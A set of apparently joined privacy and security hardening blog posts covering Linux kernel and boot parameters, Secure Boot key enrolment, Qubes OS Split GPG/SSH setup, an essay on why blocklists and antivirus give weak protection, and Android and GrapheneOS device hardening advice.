If you are using non‑classic Snap packages on a system that supports proper confinement (both AppArmor and cgroups v1 present), you can use the Snap Store to revoke network permission. This is also not bypassable.

Kernel Hardening

There are several things you can do to harden the Linux kernel, including setting appropriate kernel parameters and blacklisting unnecessary kernel modules. If you are using Kicksecure or Whonix, most of this hardening is included by default. If you are using Debian, you should consider morphing it into Kicksecure.

This section extensively references Madaidan’s Linux Hardening Guide and in the interest of brevity does not repeat all the information contained there. You are strongly encouraged to read through the relevant sections of Madaidan’s guide (linked for convenience).

Runtime Kernel Parameters (sysctl)

See “2.2 Sysctl” in Madaidan’s guide.

Madaidan recommends that you disable unprivileged user namespaces due to the significant attack surface for privilege escalation. However, some software such as Podman and LXC relies on unprivileged user namespaces. If you wish to use such software, do not disable kernel.unprivileged_userns_clone. Note that this setting does not exist in the upstream kernel and is added downstream by some distributions.

On distributions other than Whonix and Kicksecure, you can copy the configuration file from Tommy’s repository.

Boot Parameters

See “2.3 Boot parameters” in Madaidan’s guide. If desired, formal documentation of boot parameters is available upstream.

Copy these parameters into your bootloader’s configuration. On rpm‑ostree distributions, make sure to use rpm-ostree kargs rather than editing GRUB configuration directly.

CPU mitigations

mitigations=auto,nosmt spectre_v2=on spectre_bhi=on spec_store_bypass_disable=on tsx=off kvm.nx_huge_pages=force nosmt=force l1d_flush=on spec_rstack_overflow=safe-ret gather_data_sampling=force reg_file_data_sampling=on

Simultaneous multithreading (SMT) has been the cause of numerous hardware‑level vulnerabilities and is thus disabled here. If the option is available, you should disable SMT/“Hyper‑Threading” in your firmware as well.

Note however that disabling SMT may have a significant performance impact — for this reason the popular linux‑hardened kernel for Arch does not disable SMT by default. Assess your own risk tolerance, and, if you choose to keep SMT enabled, simply remove all occurrences of nosmt and nosmt=force from these parameters.

Kernel

slab_nomerge init_on_alloc=1 init_on_free=1 pti=on vsyscall=none ia32_emulation=0 page_alloc.shuffle=1 randomize_kstack_offset=on debugfs=off oops=panic quiet loglevel=0

Kicksecure does not enforce either module.sig_enforce=1 or lockdown=confidentiality by default as they lead to a lot of hardware compatibility issues; consider enabling these if possible on your system. Additionally, mce=0 is no longer recommended.

Entropy generation

random.trust_cpu=off random.trust_bootloader=off

Some implementations of the RDRAND instruction (by which the CPU offers a random number generator to the OS) have proven to be vulnerable or outright defective. RDRAND is also impossible to audit, being part of the CPU itself.

As a precaution for the integrity of cryptographic operations, the CPU and bootloader should not be used as credited entropy sources. Note that this change will increase boot time.

Further reading:

• systemd: Random Seeds
• Madaidan: RDRAND
• Linux kernel mailing list
• Hacker News discussion
• NixOS discussion (also cites many additional sources)

DMA mitigations

intel_iommu=on amd_iommu=force_isolation efi=disable_early_pci_dma iommu=force iommu.passthrough=0 iommu.strict=1

Direct memory access (DMA) attacks can be mitigated via IOMMU and disabling certain kernel modules. Furthermore, strict enforcement of IOMMU TLB invalidation should be applied so devices will never be able to access stale data contents.

These parameters do not provide comprehensive DMA protection. In early boot (before the kernel has loaded), only the system firmware can enforce IOMMU and thus provide DMA protection. A DMA attack in early boot can patch the kernel in memory to completely undermine these parameters.

Note that disabling the busmaster bit on all PCI bridges during very early boot (efi=disable_early_pci_dma) can cause complete boot failure on certain systems with inadequate resources. Therefore, as always, ensure you have a fallback option to boot into the system whenever modifying any kernel parameters.

Further reading:

• IOMMU Groups, inside and out
• IOMMU introduction
• intel IOMMU driver analysis
• Avoiding gaps in IOMMU protection at boot
• Madaidan: DMA attacks

Kernel Modules

See “2.5.2 Blacklisting kernel modules” in Madaidan’s guide.

On distributions other than Whonix and Kicksecure, you can copy the configuration file from secureblue’s repository into /etc/modprobe.d/.

There are a few things in this config to keep in mind:

• Bluetooth is disabled. Comment out the install bluetooth and install btusb lines to use Bluetooth.
• Thunderbolt is disabled. Comment out the install thunderbolt line to use Thunderbolt devices.
• The cdrom and sr_mod modules are merely blacklisted; they can still be loaded at runtime with modprobe. If you have no intention to ever use CD‑ROM devices, they should be disabled by adding the lines install cdrom /bin/false and install sr_mod /bin/false to the config. (More about how this works on the ArchWiki)
• Apple filesystems are disabled. While generally fine on non‑Apple systems, if you are using an Apple device you must check the filesystem of your EFI partition and comment out the relevant install line, otherwise your Linux install will not boot. For example, comment out the install hfsplus line if your ESP filesystem is HFS+.

Restricting access to /proc and /sys

See “2.4 hidepid” and “2.7 Restricting access to sysfs” in Madaidan’s guide.

Disabling access to /sys without a proper whitelist will lead to various applications breaking. Developing such a whitelist will unfortunately be extremely tedious for most users. Kicksecure, and by extension Whonix, has the experimental proc-hidepid and hide-hardware-info services which do just this. From my testing, these work perfectly fine on minimal Kicksecure installations and both Qubes-Whonix-Workstation and Qubes-Whonix-Gateway.

linux-hardened

Some distributions like Arch Linux offer the linux‑hardened kernel package. It includes hardening patches and more security-conscious defaults.

linux‑hardened disables unprivileged user namespaces (kernel.unprivileged_userns_clone) by default. This may impact some software.

grsecurity

Grsecurity offers a set of kernel patches that attempt to improve security of the Linux kernel. Payment is required, but grsecurity is worth using if you have a subscription.

Hardened Memory Allocator

The hardened memory allocator (hardened_malloc) from GrapheneOS can be used on general Linux distributions, though only for some programs.

On Fedora and Red Hat Enterprise Linux, secureblue provides a Copr repository with both x86_64 and aarch64 architecture support. Divested Computing Group has a similar build for Fedora, but with only x86_64 support. Using secureblue’s repository is recommended, as the Divested repository is known to block certain IP addresses.

On Arch-based systems, hardened_malloc is available through the AUR.

Disabling XWayland

To disable XWayland with GNOME, create /etc/systemd/user/org.gnome.Shell@wayland.service.d/override.conf with the following content:

[Service]
ExecStart=
ExecStart=/usr/bin/gnome-shell --no-x11

Mountpoint Hardening

Consider adding the mount options nodev, noexec, and nosuid to mountpoints which do not need the respective capabilities. Typically, these can be applied to /boot, /boot/efi, and /var. These flags could also be applied to /home and /root, however noexec will prevent applications that require binary execution in those locations from working (including Flatpak and Snap).

It should be noted that noexec is not foolproof and actually quite easy to bypass.

If you use Toolbox, do not set any of these mount options on /var/log/journal. From my testing, the Toolbox container will fail to start if you have nodev, nosuid, or noexec on said directory. If you are on Arch Linux, you probably do not want to set noexec on /var/tmp, as some AUR packages will then fail to build.

Disabling SUID

SUID allows a user to execute an application as the owner of that application, which in many cases is the root user. Vulnerable SUID executables could lead to privilege escalation vulnerabilities.

It is desirable to remove SUID from as many binaries as possible; however, this takes substantial effort and trial and error on the user’s part, as some applications require SUID to function.

Kicksecure, and by extension Whonix, has an experimental permission hardening service and application whitelist to automate SUID removal from most binaries and libraries on the system. From my testing, these work perfectly fine on minimal Kicksecure installations and both Qubes-Whonix-Workstation and Qubes-Whonix-Gateway.

DNSSEC

Most Linux distributions do not enable DNSSEC by default. I recommend that you enable it to make sure that the responses to your DNS queries are authentic. You will need a DNS provider that supports DNSSEC. Ideally, you should use a VPN which provides this feature with its DNS servers so that you can also blend in with other people.

On systems with systemd-resolved, you can edit the /etc/systemd/resolved.conf file and add DNSSEC=yes to enable it. Run systemctl restart systemd-resolved after you are done editing to apply your configuration.

If you are a Whonix or Tails user, you can disregard setting up DNSSEC, as Tor DNS resolution does not support it. Alternatively, you can use a non-Tor resolver, though it is not recommended that you do this for an extended amount of time.

Time Synchronization

Most Linux distributions by default use the unencrypted and unauthenticated Network Time Protocol (NTP) for time synchronization. There are two ways to easily solve this problem:

• Configure Network Time Security (NTS) with chronyd
• Use Kicksecure’s sdwdate on Debian‑based distributions.

If you decide on using NTS with chronyd, consider using multiple, independent time providers and setting minsources to a value greater than 1.

GrapheneOS uses a quite nice chrony configuration for their infrastructure. I recommend that you replicate their chrony.conf on your system.

Next, enable the secommp filter for chronyd. On Fedora and Arch Linux, you will need to edit Chrony’s environment file in /etc/sysconfig/chronyd:

# Command-line options for chronyd
OPTIONS="-F 1"

On Ubuntu and Debian, the environment file is /etc/default/chrony, and the seccomp filter should already be enabled by default.

Pluggable Authentication Modules (PAM)

PAM’s settings can be hardened to improve authentication security (though keep in mind the bypassable nature of PAM as opposed to encryption).

On Red Hat distributions, you can use authselect to configure this, e.g.:

sudo authselect select <profile_id, default: sssd> with-faillock without-nullok with-pamaccess

On systems where pam_faillock is not available, consider using pam_tally2 instead.

If you have a YubiKey or another U2F/FIDO2 authenticator, you can use pam-u2f to implement two‑factor authentication for login. Make sure to use a hardcoded origin and appid as indicated in the ArchWiki. Do not use the default identifier pam://$HOSTNAME which will break if your hostname changes.

Storage Media Handling

Some Linux distributions and desktop environments automatically mount arbitary filesystems upon storage media insertion. This is a security risk, as an adversary can attach a malicious storage device to your computer to exploit vulnerable filesystem drivers.

This behavior is disabled by default on Whonix.

UDisks

GNOME users on systems with UDisks can mitigate this risk by running the following commands:

echo '[org/gnome/desktop/media-handling]
automount=false
automount-open=false' | sudo tee /etc/dconf/db/local.d/automount-disable

echo 'org/gnome/desktop/media-handling/automount
org/gnome/desktop/media-handling/automount-open' | sudo tee /etc/dconf/db/local.d/locks/automount-disable

sudo dconf update

This will disable automounting and prevent users from overriding that setting (without privileges).

Cinnamon uses the same configuration/commands except with cinnamon substituted in place of gnome. Other desktop environments based on GNOME 3 likely follow a similar pattern — use gsettings to investigate.

autofs

On older systems where autofs is used, you should mask the autofs service to disable this behavior.

USB Port Protection

To better protect your USB ports from attacks such as BadUSB and the infamous Hak5 USB Rubber Ducky, I recommend USBGuard. Documentation is available on the USBGuard website and ArchWiki.

If you are using linux‑hardened, you can alternatively use the deny_new_usb kernel parameter — see “Preventing USB Attacks with linux-hardened”.

Secure Boot

Secure Boot can be used to secure the boot process by preventing the loading of unsigned UEFI drivers and bootloaders.

One of the problems with Secure Boot, particularly on Linux, is that only the chainloader (shim), bootloader (GRUB), and kernel are verified in a typical setup. The initramfs is often left unverified and unencrypted, leaving the door open for an evil maid attack.

The firmware on most devices is also preconfigured to trust Microsoft’s keys for both Windows and third‑parties, leading to a large attack surface.

Enrolling your own keys

Please note that this procedure will brick some non‑compliant UEFI implementations. You should research your specific computer/motherboard, looking for reported successes and failures alike, before attempting. Ideally, you should be prepared to reprogram the EEPROM to a known‑good state if something goes catastrophically wrong. Integrated ‘BIOS flashback’ functionality may be an adequate recovery option.

To eliminate the need to trust the OEM’s keys, I recommend using sbctl.

First, you need to boot into your firmware interface and enter Secure Boot setup mode. Then boot back into Linux and follow the instructions to generate and enroll your own keys.

On certain hardware, this will not work. Instead, you will need to export the public key to your EFI partition and manually import it through your firmware interface:

openssl x509 -in /usr/share/secureboot/keys/db/db.pem -outform DER -out /boot/efi/EFI/fedora/DB.der

Unified Kernel Image

On most desktop Linux systems, it is possible to create a unified kernel image (UKI) that contains the kernel, initramfs, and microcode. This unified kernel image can then be signed with the keys created by sbctl.

For Fedora Workstation, you can follow Håvard Moen’s guide which covers sbctl installation, unified kernel image generation with dracut, and automatic signing with systemd‑boot.

On Arch, the process is very similar, though sbctl is already included in the official repositories and you will need to switch from mkinitcpio to dracut. Arch with linux‑hardened works well with sbctl, but some level of tedious pacman hooks are required for appropriately timing the re‑signing of all relevant files every time the kernel or bootloader is updated.

Afterwards, you need to use systemd-cryptenoll and pin your encryption key against certain PCRs to detect tampering against the firmware. At minimum, you should pin PCR 7 for Secure Boot polices. Personally, I pin PCR 0,1,2,3,5,7, and 14.

Whenever you manually generate a UKI, make sure that the kernel is from the distribution vendor, and that initramfs is freshly generated. Reinstall the kernel package if you have to.

In my opinion, this is the most straightforward setup. However, it does not appear to work well with specialized setups such as Fedora Silverblue/Kinoite. More testing is needed to see if they can be made to work.

Notes on Secure Boot

After setting up Secure Boot, you should password-protect your UEFI settings (sometimes called ‘supervisor’ or ‘administrator’ password) as it is good security practice. This does not protect against an attacker with a programmer however - you need to pin PCRs to detect tampering as mentioned above.

These recommendations can make you a little more resistant to evil maid attacks, but they do not constitute a proper verified boot process as found on Android, ChromeOS, or Windows.

This post will go over setting up Split GPG, then setting up Split SSH with the same PGP keys. Effectively, we are emulating what you can do with a PGP smartcard on Qubes OS.

Split GPG

Follow the official Qubes OS documentation to set this up.

Note that if you already have a PGP key with a passphrase, you can remove it by installing pinentry-gtk to vault’s TemplateVM, then run gpg2 --edit-key <key_id> and passwd to set an empty passphrase. The default non-graphical pinentry will just make an infinite loop and will not allow you to set an empty passphrase.

Split SSH

This part is based on the Qubes Community’s guide; however, I will deviate from it to use the PGP keys for SSH instead of generating a new key pair.

In dom0

• Create /etc/qubes-rpc/policy/qubes.SshAgent with @anyvm @anyvm ask,default_target=vault as the content. Since the keys are not passphrase protected, you should not set the policy to allow.

In vault AppVM

• Add enable-ssh-support to the end of ~/.gnupg/gpg-agent.conf
• Get your keygrip with gpg --with-keygrip -k
• Add your keygrip to the end of ~/.gnupg/sshcontrol

In vault’s TemplateVM

• Create /etc/qubes-rpc/qubes.SshAgent with the following content:

#!/bin/sh
# Qubes App Split SSH Script

# Activate GPG Agent and set the correct SSH socket
export SSH_AUTH_SOCK=$(gpgconf --list-dirs agent-ssh-socket)
gpgconf --launch gpg-agent

# safeguard - Qubes notification bubble for each ssh request
notify-send "[$(qubesdb-read /name)] SSH agent access from: $QREXEC_REMOTE_DOMAIN"

# SSH connection
socat - "UNIX-CONNECT:$SSH_AUTH_SOCK"

• Make it executable with sudo chmod +x /etc/qubes-rpc/qubes.SshAgent
• Turn off the templateVM. If the vault VM is running, turn it off, then start it to update the VM’s configuration.

In ssh-client AppVM

• Add the following to the end of /rw/config/rc.local:

# SPLIT SSH CONFIGURATION >>>
# replace "vault" with your AppVM name which stores the ssh private key(s)
SSH_VAULT_VM="vault"

if [ "$SSH_VAULT_VM" != "" ]; then
  export SSH_SOCK="/home/user/.SSH_AGENT_$SSH_VAULT_VM"
  rm -f "$SSH_SOCK"
  sudo -u user /bin/sh -c "umask 177 && exec socat 'UNIX-LISTEN:$SSH_SOCK,fork' 'EXEC:qrexec-client-vm $SSH_VAULT_VM qubes.SshAgent'" &
fi
# <<< SPLIT SSH CONFIGURATION

• Add the following to the end of ~/bash.rc:

# SPLIT SSH CONFIGURATION >>>
# replace "vault" with your AppVM name which stores the ssh private key(s)
SSH_VAULT_VM="vault"

if [ "$SSH_VAULT_VM" != "" ]; then
  export SSH_AUTH_SOCK="/home/user/.SSH_AGENT_$SSH_VAULT_VM"
fi
# <<< SPLIT SSH CONFIGURATION

• Restart ssh-client and confirm if it’s working with ssh-add -L.

Limitations

A malicious ssh-client AppVM can hold onto the ssh-agent connection for more than one use until it is shut down. While your private key is protected, a malicious actor with access to the AppVM can still abuse the ssh-agent to log into your servers.

The Obvious Problem

The obvious argument against badness enumeration is that there are so many threat actors out there, it is impossible to make a list to block all of them. Even when you make a magical list that somehow includes all of the threat actors that exist today, tomorrow a new threat actor will pop up and attack you anyways. Enumerating badness does not systematically solve the underlying problem. Instead, it is running away from the problem and hoping that a competent adversary will not come after you. Badness enumeration does not work, cannot work, has never worked, and will never work.

Adblocking Extensions

On top of the obvious problem mentioned above, there are various technical reasons why advertisement/tracker blocking extensions cannot provide privacy. One of which is the fact that tracking can be done without any scripts at all. For example, a website only needs to know your session ID using a cookie and save all logs associated with that ID. It can then analyze when you visited the website, how long you visited the website for, which page on the website you spent the most time on, what you looked at, and so on. Another problem is that a website can just host its own tracking code or proxy third party tracking code under its own domain. Just because your adblocker blocks connections to Google Analytics does not mean that you you are actually “safe” from Google Analytics at all. Even if you are successful in doing so, there is nothing stopping the website from sharing the analytics data it collected on its own with Google either.

“Okay, so adblockers are unreliable, but what is the harm?” you may ask.

The problem here is that adblockers (especially with Manifest v2) are highly privileged and have access to all of your data within the browser. All it takes is for the extension developer to turn malicious for your passwords, session ids, TOTP secrets, etc to get compromised. Even if you were to assume that the extension developer is trustworthy, one vulnerability within the extension could still be catastrophic. This is made worse by the fact that adblockers typically use third-party blocklists, extending trust to the blocklist maintainers to not exploit the extension should a vulnerability be found. The “uBlock, I exfiltrate” blog post describes in detail how a CSS injection vulnerability in uBlockOrigin lead to data exfiltration with one single bad filtering rule.

Overall, adblockers increase your attack surface for dubious privacy benefits. If you insist on getting an adblocker however, I highly recommend that you use purely declarative, permission less Manifest V3 ones like uBlock Origin Lite. While they do block fewer ads and trackers than their Manifest V2 counterparts and V3 extensions with “Read and change all your data on all websites”, they pose much less of a threat to your privacy and security while still providing the convenience of blocking annoyances.

DNS Filtering

DNS filtering solutions. while not having any negative impact on security, are trivially bypassable by just hosting the advertisement and trackers under the apex domain instead of a subdomain. For example, instead of hosting advertisement and trackers under ads.example.com, the webmaster can move them to be under example.com/ads and it would be impossible for DNS filters to block. Other bypasses include an application implementing its own DNS resolution instead of relying on the DNS servers set by the operating system, or connecting directly to certain IP addresses without any DNS resolution at all.

It should also be noted that websites can detect which DNS servers a visitor uses. You can look at DNSLeakTest as an example. Using non-network provided DNS servers adds to the fingerprint and make you more identifiable.

The best way to do DNS filtering is to use a VPN provider which has this feature built in like ProtonVPN, Mullvad, and IVPN in order to not standout from other users of the same VPN provider. Even then, DNS filtering is purely a convenience feature and cannot be relied on for privacy and security.

Antiviruses

Antiviruses are highly privileged processes with access to virtually all of your files and data, parsing through them trying to find something that matches a known bad signature. Beyond the fact that you need to trust the Antivirus company to not exfiltrate your sensitive data and that the signature list will never have all of the malware in existence, a vulnerable parser could lead to a system compromise. The Abusing File Processing in Malware Detectors for Fun and Profit research paper by Suman Jana and Vitaly Shmatikov discusses this in detail.

Here are some other examples of Antiviruses being attack surfaces on their own:

• Arbitrary Code Execution with Avast’s Javascript Interpreter
• Memory Corruption with Bitdefender
• Kaspersky in the Middle

The proper way to deal with untrusted applications is not to scan them with an Antivirus, but to confine them in such a way that even if they were malicious, they cannot do much damage at all. This has already been achieved on secure mobile operating systems like Android and iOS with their application sandbox. Typically, attacks against these systems require an exploit chain against the operating system, or for the user to actually mess up and grant an app access to sensitive data. On desktop operating systems, you should utilize virtualization to contain untrusted applications in their own virtual machine. This can be done with a system like Qubes OS, the Windows Sandbox, or just general KVM / HyperV virtual machines.

Default Permit

Surprisingly (or unsurprisingly), the The Six Dumbest Ideas in Computer Security article from almost 20 years ago still holds true today. It explains the problem with Default Permit better than I ever could. In short, when setting up a Firewall or some sort of filter list, it is better to start out by blocking everything, then allowing only the traffic that you need. That way, you don’t have to worry about applications that you didn’t care enough to block turning out to be vulnerable. Sometimes, “goodness enumeration” is the solution to the problem.

Conclusion

By now, I hope I have clearly explained why badness enumeration is never the solution to the problem. Sometimes, it can be a nice-to-have thing, like a VPN provider blocking advertisements and trackers on the DNS level to make the web experience more enjoyable. Other times, it can be harmful to your privacy and security, like with a malicious/vulnerable extension or antivirus. The important thing to keep in mind is that you cannot rely on badness enumeration for true privacy and security, and you should always be aware of the privacy and security implications that certain options may entail.

Android Devices

Recommended Phones

Google Pixel phones are the only devices I would recommend for purchase. Pixel phones have stronger hardware security than any other Android devices currently on the market, due to proper AVB support for third-party operating systems and Google’s custom Titan security chips acting as the Secure Element.

When purchasing a device, you should buy one as new as possible. The software and firmware of mobile devices are only supported for a limited time, so buying new extends that lifespan as much as possible. Also, beginning with the Pixel 8 and 8 Pro, Pixel devices receive a minimum of 7 years of guaranteed security updates, ensuring a much longer lifespan compared to the 2-4 years competing OEMs typically offer.

Phones to Avoid

Avoid buying the Fairphone 4, which only has just over 2 years of full security updates since its release date despite them advertising 6 years of support. This is because the System on a Chip they use (Snapdragon 750G) only has 3 years of support from Qualcomm, and the SoC was already old when the phone came out. This is not to mention, the Fairphone 4 uses the Android Verified Boot Test Key as their OEM keys, effectively making Verified Boot useless. In general, you should check for how long the SoC a phone uses is supported for and not blindly trust the phone manufacturer’s claims.

You should also avoid buying phones preloaded with /e/ OS (sometimes branded as the Murena phones). /e/ OS in itself is extremely insecure, engaging in security bad practices that include, but are not limited to, not supporting verified boot; shipping userdebug build; shipping months-old version of Chromium; and bundling years-old version of Orbot into their operating system, then marketing it as “Advanced Privacy”. There was also a recent incident where their cloud service mishandled session keys and gave users access to other’s files, then proceeded to mislead users that the server cannot see their files, despite there being no end-to-end encryption.

You should also be very wary of low quality privacy branded phones like the Freedom Phone, BraX2 Phone, Volta Phone, and the like. These are cheap Chinese phones with the Mediatek Helio P60 from 2018, which has already reached or is near end-of-life. Needless to say, you should also avoid any vendor who claims they are Zero-day proof like this:

Android-based Operating Systems

In certain cases, installing a custom Android-based operating system can help increase your privacy and security. This is rather tricky, however, as the vast majority of these operating systems (a.k.a. “custom ROMs”) do exactly the opposite: break the Android security model, thereby ruining your security while providing no or dubious privacy benefits.

I have written a detailed post on selecting your Android-based operating system, which you can find here.

TLDR: If you are using a modern Pixel, install GrapheneOS. Otherwise, stick to your stock operating system. Do not blindly use an OS just because it is advertised as “degoogled”.

Use New Android Versions

It’s important to not use an end-of-life version of Android. Newer versions of Android receive not only security updates for the operating system but also important privacy enhancing updates too. For example, prior to Android 10, any apps with the READ_PHONE_STATE permission could access sensitive and unique serial numbers of your phone such as IMEI, MEID, your SIM card’s IMSI, whereas now they must be system apps to do so. System apps are only provided by the OEM or Android distribution.

Do Not Root Your Phone

Rooting Android phones can decrease security significantly as it weakens the complete Android security model. This can decrease privacy should there be an exploit that is assisted by the decreased security. Common rooting methods involve directly tampering with the boot partition, making it impossible to perform successful Verified Boot. Apps that require root will also modify the system partition meaning that Verified Boot would have to remain disabled. Having root exposed directly in the user interface also increases the attack surface of your device and may assist in privilege escalation vulnerabilities and SELinux policy bypasses.

Use a diceware passphrase, avoid pattern unlock

On Android, the phone unlock (Password, Pin, Pattern) is used to protect the encryption key for your device. Thus, it is vital that your unlock secret is secure and can withstand Bruteforce attacks.

Pattern unlock is extremely insecure and should be avoided at all costs. This is discussed in detail in the Cracking Android Pattern Lock in Five Attempts research paper.

If you trust the hardware enforced rate limiting features (typically done by the Secure Element or Trusted Execution Environment) of your device, a 8+ digit PIN may be sufficient.

Ideally, you should use a randomly generated passphrase of 8 words or longer to secure your phone. These are practically impossible to bruteforce with current technology, regardless of the efficacy of any ratelimiting that may be present.

Setup Auditor

Auditor provides attestation for GrapheneOS phones and the stock operating systems on a number of devices. It uses hardware security features to make sure that the firmware and operating system have not been downgraded or tampered with.

Attestation can be done locally by pairing with another Android 8+ device or remotely using the remote attestation service. To make sure that your hardware and operating system is genuine, perform local attestation immediately after the device has been set up and before connecting to the internet.

Use Global Toggles

Modern Android devices have global toggles for disabling Bluetooth and location services. Android 12 introduced toggles for the camera and microphone. When not in use, you should disable these features. Apps cannot use disabled features (even if granted individual permissions) until re-enabled.

Manage Android Permissions

Permissions on Android grant you control over what apps are allowed to access. Google regularly makes improvements on the permission system in each successive version. All apps you install are strictly sandboxed, therefore, there is no need to install any antivirus apps.

You can manage Android permissions by going to Settings → Privacy → Permission Manager. Be sure to remove from apps any permissions that they do not need.

Enable VPN Killswitch

Android 7 and above supports a VPN killswitch and it is available without the need to install third-party apps. This feature can prevent leaks if the VPN is disconnected. It can be found in Settings → Network & internet → VPN → Block connections without VPN.

Connectivity Check

Connectivity checks on Android do not go through the VPN tunnel (they are not supposed to anyway). This is generally not a cause for concern, however, you should be aware that Google and a network observer on your internet service provider (ISP)’s network can see that there is an Android device with your actual IP address.

On GrapheneOS, connectivity checks by default are done with GrapheneOS’s own servers, instead of with Google ones. A network observer on your ISP’s network can see that you are using a GrapheneOS device. If you are using a VPN and want to appear like a regular Android device to your ISP, go to Settings → Network & internet → Internet connectivity check and select Standard (Google) instead. Note that this will not stop a determined adversarial ISP from finding out you are not using stock OS through your DNS fallback.

If you want to, you can disable connectivity check altogether. Note that this will stop captive portals from working.

• On GrapheneOS, go to Settings → Network & internet → Internet connectivity check and select Disabled.
• On other Android-based operating systems, you can disable captive portal via ADB.

To disable:

adb shell settings put global captive_portal_mode 0

To re-enable:

adb shell settings delete global captive_portal_mode

Restrict USB Peripherals

USB peripherals should be disabled or set to only be allowed when the device is unlocked if possible.

On GrapheneOS, you can adjust this setting in Settings → Security → USB accessories. The OS defaults to “Allow new USB peripherals when unlocked”.

Media Access

Quite a few applications allow you to “share” a file with them for media upload. If you want to, for example, tweet a picture to Twitter, do not grant Twitter access to your “media and photos”, because it will have access to all of your pictures then. Instead, go to your file manager (documentsUI), hold onto the picture, then share it with Twitter.

If you are using GrapheneOS, you should utilize the Storage Scopes feature to force apps that request broad storage access permission to function with scoped storage.

User Profiles

Multiple user profiles can be found in Settings → System → Multiple users and are the simplest way to isolate in Android.

With user profiles, you can impose restrictions on a specific profile, such as: making calls, using SMS, or installing apps on the device. Each profile is encrypted using its own encryption key and cannot access the data of any other profiles. Even the device owner cannot view the data of other profiles without knowing their password. Multiple user profiles are a more secure method of isolation.

Work Profile

Work Profiles are another way to isolate individual apps and may be more convenient than separate user profiles.

A device controller such as Shelter is required, unless you’re using CalyxOS which includes one.

The work profile is dependent on a device controller to function. Features such as File Shuttle and contact search blocking or any kind of isolation features must be implemented by the controller. You must also fully trust the device controller app, as it has full access to your data inside of the work profile.

This method is generally less secure than a secondary user profile; however, it does allow you the convenience of running apps in both the work and personal profiles simultaneously.

Baseband Modem Attack Surface Reduction

By default, your baseband modem will typically be set to support just about every generation of mobile cellular technology, from 2G to 5G. This exposes a large attack surface.

You can reduce this attack surface by limiting the baseband modem to using just the generation that it needs. In most cases, this would be 4G/LTE.

GrapheneOS has the LTE only mode exposed in settings. You can set this by going to Settings → Internet → Your carrier name → Preferred network type → LTE Only.

If your Android-based operating system does not expose this setting in the Settings app, or if you want to set your baseband modem to a less restrictive mode, dial *#*#4636#*#* then hit Phone information. Here, you can set preferred network type to just the generations that you intend to use. For example, if you only want to use 5G and 4G, you can set it to NR/LTE.

Carrier Tracking

Carriers can track your coarse location through various means. At minimum, you need to use airplane mode to turn off the baseband modem, and turn off Wifi-calling which bypasses the system VPN. There may also be additional connections to the carrier’s servers outside of the VPN tunnel, so you need to use Wireshark to verify this for your specific setup.

Exact behavior does differ across SoCs and may vary between carriers as well, so I cannot give exact instructions for every setup. On a Google Pixel 7 Pro running GrapheneOS, you need to do the following:

• Disable Wi‑Fi calling.

• Disable the SIMs/eSIMs in Settings → Network & internet → SIMs. On GrapheneOS, if you are using an eSIM, you will need to enable privileged eSIM management. With certain carriers, there will be an ePDG server defined which the operating system will connect to outside of a VPN tunnel. While unlikely, a malicious carrier can track a user by giving them a unique ePDG server.

• Turn on airplane mode. This will turn off the modem and disable all transmission to cell towers. Note that simply removing SIM cards is not enough — your phone will still connect to cellular networks to permit emergency calling.

• Disable privileged eSIM management after you have disabled all of the eSIMs. With certain carriers, the eSIM management app will connect to the provisioning server to check for eSIM update, even if the eSIMs are disabled.

Where to Get Your Applications

GrapheneOS App Store

GrapheneOS’s app store is available on GitHub. It supports Android 12 and above and is capable of updating itself. The app store has standalone applications built by the GrapheneOS project such as the Auditor, Camera, and PDF Viewer. If you are looking for these applications, I highly recommend that you get them from GrapheneOS’s app store instead of the Play Store, as the apps on their store are signed by the GrapheneOS’s project own signature that Google does not have access to.

Aurora Store

The Aurora Store is a proxy for the Google Play Store. It is great for privacy in the sense that it automatically gives you a disposable account to download apps, and it works on Android-based distributions that do not support Google Play Services. That being said, it lacks security features like certificate pinning and does not support Play Asset Delivery.

My recommendation is to stick with the Google Play Store unless your threat model calls for not logging into Google Services at all.

F-Droid

F-Droid, despite being often recommended in the privacy community, has various security deficiencies. You can read more about them here.

I do not recommend that you use F-Droid at all unless you have no other choice to obtain certain apps. In some rare cases, there may be some apps which require the F-Droid version to work properly without Google Play Services. If you do end up using F-Droid, I highly recommend that you avoid the official F-Droid client (which is extremely outdated and targets API level 25) and use a more modern client with seamless updates such as NeoStore. You should also avoid using the official F-Droid repository as much as possible and stick to the F-Droid repositories hosted by the app developers instead.

GitHub

You can also obtain your apps directly from their GitHub repositories. In most cases, there would be a pre-built APK for you to download. You can verify the signature of the downloaded using apksigner:

• Install Android Studio which includes apksigner. On macOS, apksigner can be found at ~/Library/Android/sdk/build-tools/<version>/apksigner.
• Run apksigner verify --print-certs --verbose myCoolApp.apk to verify the certificate of the apk.

After you have verified the signature of the apk and installed it on your phone, there are several strategies you can use to keep the application up-to-date.

The first strategy is to add the atom feed of the application’s release page to an RSS Reader like ReadYou to get notified of new releases. You will still need to download and install the new releases manually. If you are confused, here is a video that could help with this process:

The second strategy is to use the IzzyOnDroid F-Droid repository with a modern F-Droid client like NeoStore, as mentioned above. The IzzyOnDroid repository pulls new releases from various GitHub repositories to their server, which can then be automatically downloaded and installed by NeoStore. The downside of this strategy is that not every application on GitHub is on IzzyOnDroid, and sometimes IzzyOnDroid fails to pull a new release, resulting in you not getting any updates at all.

It should be noted that since Android has automatic signature checking for existing applications on the system; that is, you only need to manually check the signature of the apk the first time you install an application. If you do use IzzyOnDroid to update applications, you will need to manually confirm the first update of an application to authorize the NeoStore as the installation source. After that, future updates will be seamless.

Google

If you are using a device with Google services, either with the stock operating system or an operating system that safely sandboxes Google Play Services like GrapheneOS, there are a number of additional changes you can make to improve your privacy.

Enroll in the Advanced Protection Program

If you have a Google account we suggest enrolling in the Advanced Protection Program. It is available at no cost to anyone with two or more hardware security keys with FIDO2 support.

The Advanced Protection Program provides enhanced threat monitoring and enables:

• Stricter two factor authentication; e.g. that FIDO2 must be used and disallows the use of SMS OTP, TOTP and OAuth
• Only Google and verified third-party apps can access account data
• Scanning of incoming emails on Gmail accounts for phishing attempts
• Stricter safe browser scanning with Google Chrome
• Stricter recovery process for accounts with lost credentials

If you use non-sandboxed Google Play Services (common on stock operating systems), the Advanced Protection Program also comes with additional benefits such as:

• Not allowing app installation outside of the Google Play Store, the OS vendor’s app store, or via adb
• Mandatory automatic device scanning with Play Protect
• Warning you about unverified applications

Google Play System Updates

In the past, Android security updates had to be shipped by the operating system vendor. Android has become more modular beginning with Android 10, and Google can push security updates for some system components via the privileged Play Services.

